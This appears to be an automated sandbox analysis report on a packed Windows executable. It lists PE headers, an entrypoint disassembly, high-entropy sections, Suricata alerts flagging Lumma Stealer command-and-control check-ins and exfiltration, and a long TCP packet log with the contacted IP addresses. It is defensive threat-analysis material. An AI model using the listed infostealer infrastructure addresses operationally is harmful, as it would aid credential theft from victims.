Time Stamp:	0x6737BFB3 [Fri Nov 15 21:40:03 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F9AECB94A4Ah
paddsb mm3, qword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F9AECB96A45h
add byte ptr [edi], bl
add byte ptr [eax+000000FEh], ah
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [edx+ecx], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5c05c	0x70	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5c1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x5a000	0x27800	a9471580c20755417c2ff380b3d0cb2a	False	0.997978886471519	data	7.973455423066596	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5b000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5c000	0x1000	0x200	6821e858ec0b8e7e2533a33c0c061d34	False	0.15625	data	1.1194718105633323	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x5d000	0x2b0000	0x200	e7e969934812246c74a27a9cf4ebe597	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
tnkvfvld	0x30d000	0x1a6000	0x1a5c00	720cfbf07f92f37d873db1c5bdfe87fc	False	0.994261031046236	data	7.953192413596562	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
qxcnkkzt	0x4b3000	0x1000	0x400	47baefe7b25aca1bb93a875fe964a457	False	0.7451171875	data	5.845497483783864	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4b4000	0x3000	0x2200	1af3eab7c5c16d5f061f3071382d2b9f	False	0.10386029411764706	DOS executable (COM)	1.151618964252342	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-17T12:35:04.570851+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49709	188.114.97.3	443	TCP
2024-11-17T12:35:05.485072+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49709	188.114.97.3	443	TCP
2024-11-17T12:35:05.485072+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49709	188.114.97.3	443	TCP
2024-11-17T12:35:06.185915+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49710	188.114.97.3	443	TCP
2024-11-17T12:35:06.679159+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49710	188.114.97.3	443	TCP
2024-11-17T12:35:06.679159+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49710	188.114.97.3	443	TCP
2024-11-17T12:35:07.512134+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49712	188.114.97.3	443	TCP
2024-11-17T12:35:09.027546+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49713	188.114.97.3	443	TCP
2024-11-17T12:35:10.635882+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49714	188.114.97.3	443	TCP
2024-11-17T12:35:12.475444+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49716	188.114.97.3	443	TCP
2024-11-17T12:35:12.963211+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49716	188.114.97.3	443	TCP
2024-11-17T12:35:14.073307+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49717	188.114.97.3	443	TCP
2024-11-17T12:35:18.551129+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49744	188.114.97.3	443	TCP
2024-11-17T12:35:18.863804+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49744	188.114.97.3	443	TCP
2024-11-17T12:35:19.800363+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	49751	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 17, 2024 12:34:58.549053907 CET	49673	443	192.168.2.6	173.222.162.64
Nov 17, 2024 12:34:58.549057961 CET	49674	443	192.168.2.6	173.222.162.64
Nov 17, 2024 12:34:58.892925024 CET	49672	443	192.168.2.6	173.222.162.64
Nov 17, 2024 12:35:03.950380087 CET	49709	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:03.950422049 CET	443	49709	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:03.950522900 CET	49709	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:03.953167915 CET	49709	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:03.953186035 CET	443	49709	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:04.570708036 CET	443	49709	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:04.570851088 CET	49709	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:04.604127884 CET	49709	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:04.604168892 CET	443	49709	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:04.604609966 CET	443	49709	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:04.658360958 CET	49709	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:04.763592005 CET	49709	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:04.763592005 CET	49709	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:04.763830900 CET	443	49709	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:05.485045910 CET	443	49709	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:05.485178947 CET	443	49709	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:05.485253096 CET	49709	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:05.487473965 CET	49709	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:05.487495899 CET	443	49709	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:05.487512112 CET	49709	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:05.487519026 CET	443	49709	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:05.565340042 CET	49710	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:05.565433025 CET	443	49710	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:05.565530062 CET	49710	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:05.565815926 CET	49710	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:05.565854073 CET	443	49710	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:06.104666948 CET	49711	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:35:06.104703903 CET	443	49711	40.113.103.199	192.168.2.6
Nov 17, 2024 12:35:06.104769945 CET	49711	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:35:06.105333090 CET	49711	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:35:06.105348110 CET	443	49711	40.113.103.199	192.168.2.6
Nov 17, 2024 12:35:06.185827017 CET	443	49710	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:06.185914993 CET	49710	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:06.187549114 CET	49710	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:06.187573910 CET	443	49710	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:06.187896967 CET	443	49710	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:06.189428091 CET	49710	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:06.189469099 CET	49710	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:06.189646959 CET	443	49710	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:06.678778887 CET	443	49710	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:06.678807020 CET	443	49710	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:06.678886890 CET	443	49710	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:06.678896904 CET	49710	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:06.678965092 CET	443	49710	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:06.679047108 CET	49710	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:06.679048061 CET	49710	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:06.679250956 CET	443	49710	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:06.679775000 CET	443	49710	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:06.679933071 CET	49710	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:06.679996967 CET	443	49710	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:06.721035004 CET	49710	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:06.797390938 CET	443	49710	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:06.797780991 CET	443	49710	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:06.797853947 CET	49710	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:06.797880888 CET	443	49710	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:06.797894955 CET	443	49710	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:06.797939062 CET	49710	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:06.797966957 CET	443	49710	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:06.798485994 CET	443	49710	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:06.798569918 CET	49710	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:06.798660994 CET	49710	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:06.798660994 CET	49710	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:06.798702955 CET	443	49710	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:06.798731089 CET	443	49710	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:06.889336109 CET	49712	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:06.889461994 CET	443	49712	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:06.889552116 CET	49712	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:06.890244961 CET	49712	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:06.890279055 CET	443	49712	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:07.216365099 CET	443	49711	40.113.103.199	192.168.2.6
Nov 17, 2024 12:35:07.216484070 CET	49711	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:35:07.239837885 CET	49711	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:35:07.239861012 CET	443	49711	40.113.103.199	192.168.2.6
Nov 17, 2024 12:35:07.240242004 CET	443	49711	40.113.103.199	192.168.2.6
Nov 17, 2024 12:35:07.241890907 CET	49711	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:35:07.241962910 CET	49711	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:35:07.241970062 CET	443	49711	40.113.103.199	192.168.2.6
Nov 17, 2024 12:35:07.242079973 CET	49711	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:35:07.287342072 CET	443	49711	40.113.103.199	192.168.2.6
Nov 17, 2024 12:35:07.491252899 CET	443	49711	40.113.103.199	192.168.2.6
Nov 17, 2024 12:35:07.493868113 CET	49711	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:35:07.493890047 CET	443	49711	40.113.103.199	192.168.2.6
Nov 17, 2024 12:35:07.493928909 CET	49711	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:35:07.494244099 CET	443	49711	40.113.103.199	192.168.2.6
Nov 17, 2024 12:35:07.494317055 CET	49711	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:35:07.494410992 CET	49711	443	192.168.2.6	40.113.103.199
Nov 17, 2024 12:35:07.512016058 CET	443	49712	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:07.512134075 CET	49712	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:07.585786104 CET	49712	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:07.585848093 CET	443	49712	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:07.586230993 CET	443	49712	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:07.587435007 CET	49712	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:07.587567091 CET	49712	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:07.587606907 CET	443	49712	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:08.158476114 CET	49673	443	192.168.2.6	173.222.162.64
Nov 17, 2024 12:35:08.158584118 CET	49674	443	192.168.2.6	173.222.162.64
Nov 17, 2024 12:35:08.275912046 CET	443	49712	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:08.276021004 CET	443	49712	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:08.276093960 CET	49712	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:08.281497002 CET	49712	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:08.281537056 CET	443	49712	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:08.412240982 CET	49713	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:08.412333012 CET	443	49713	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:08.412432909 CET	49713	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:08.412797928 CET	49713	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:08.412841082 CET	443	49713	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:08.502346039 CET	49672	443	192.168.2.6	173.222.162.64
Nov 17, 2024 12:35:09.027426958 CET	443	49713	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:09.027545929 CET	49713	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:09.029409885 CET	49713	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:09.029467106 CET	443	49713	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:09.029974937 CET	443	49713	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:09.031554937 CET	49713	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:09.031749010 CET	49713	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:09.031800985 CET	443	49713	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:09.031869888 CET	49713	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:09.075331926 CET	443	49713	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:09.674479008 CET	443	49713	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:09.674582005 CET	443	49713	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:09.674664021 CET	49713	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:09.675199032 CET	49713	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:09.675241947 CET	443	49713	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:10.011748075 CET	49714	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:10.011818886 CET	443	49714	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:10.011914015 CET	49714	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:10.012176991 CET	49714	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:10.012192965 CET	443	49714	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:10.254682064 CET	443	49705	173.222.162.64	192.168.2.6
Nov 17, 2024 12:35:10.255139112 CET	49705	443	192.168.2.6	173.222.162.64
Nov 17, 2024 12:35:10.635787010 CET	443	49714	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:10.635881901 CET	49714	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:10.636919022 CET	49714	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:10.636948109 CET	443	49714	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:10.637593985 CET	443	49714	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:10.638673067 CET	49714	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:10.638803959 CET	49714	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:10.638830900 CET	443	49714	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:10.638928890 CET	49714	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:10.638946056 CET	443	49714	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:11.324414968 CET	443	49714	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:11.324676037 CET	443	49714	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:11.324700117 CET	49714	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:11.324733973 CET	49714	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:11.789722919 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:11.789752007 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:11.789829969 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:11.790107965 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:11.790127039 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:11.859213114 CET	49716	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:11.859261990 CET	443	49716	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:11.859350920 CET	49716	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:11.859626055 CET	49716	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:11.859637022 CET	443	49716	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:12.475349903 CET	443	49716	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:12.475444078 CET	49716	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:12.476773977 CET	49716	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:12.476793051 CET	443	49716	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:12.477134943 CET	443	49716	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:12.479018927 CET	49716	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:12.479099035 CET	49716	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:12.479105949 CET	443	49716	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:12.543081045 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:12.543171883 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:12.544718981 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:12.544730902 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:12.544976950 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:12.553823948 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:12.595375061 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:12.803119898 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:12.803179979 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:12.803222895 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:12.803318024 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:12.803349972 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:12.803370953 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:12.803405046 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:12.921791077 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:12.921838045 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:12.921883106 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:12.921904087 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:12.921921015 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:12.921946049 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:12.962985039 CET	443	49716	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:12.963217974 CET	443	49716	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:12.963287115 CET	49716	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:12.963865042 CET	49716	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:12.963882923 CET	443	49716	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:13.041346073 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:13.041404009 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:13.041436911 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:13.041460991 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:13.041507006 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:13.041520119 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:13.160156012 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:13.160181046 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:13.160280943 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:13.160305977 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:13.160352945 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:13.278920889 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:13.278948069 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:13.279001951 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:13.279025078 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:13.279045105 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:13.279069901 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:13.397651911 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:13.397701979 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:13.397762060 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:13.397785902 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:13.397804976 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:13.397831917 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:13.465409040 CET	49717	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:13.465456009 CET	443	49717	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:13.465554953 CET	49717	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:13.465923071 CET	49717	443	192.168.2.6	188.114.97.3
Nov 17, 2024 12:35:13.465951920 CET	443	49717	188.114.97.3	192.168.2.6
Nov 17, 2024 12:35:13.516019106 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:13.516084909 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:13.516141891 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:13.516169071 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:13.516185999 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:13.516371965 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:13.635107994 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:13.635165930 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:13.635214090 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:13.635260105 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:13.635282993 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:13.635303974 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:13.675801992 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:13.675828934 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:13.675893068 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:13.675918102 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:13.675935030 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:13.675956964 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:13.754554033 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:13.754605055 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:13.754687071 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:13.754707098 CET	443	49715	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:13.754725933 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:13.754750967 CET	49715	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:13.872605085 CET	443	49715	13.107.246.45	192.168.2.6
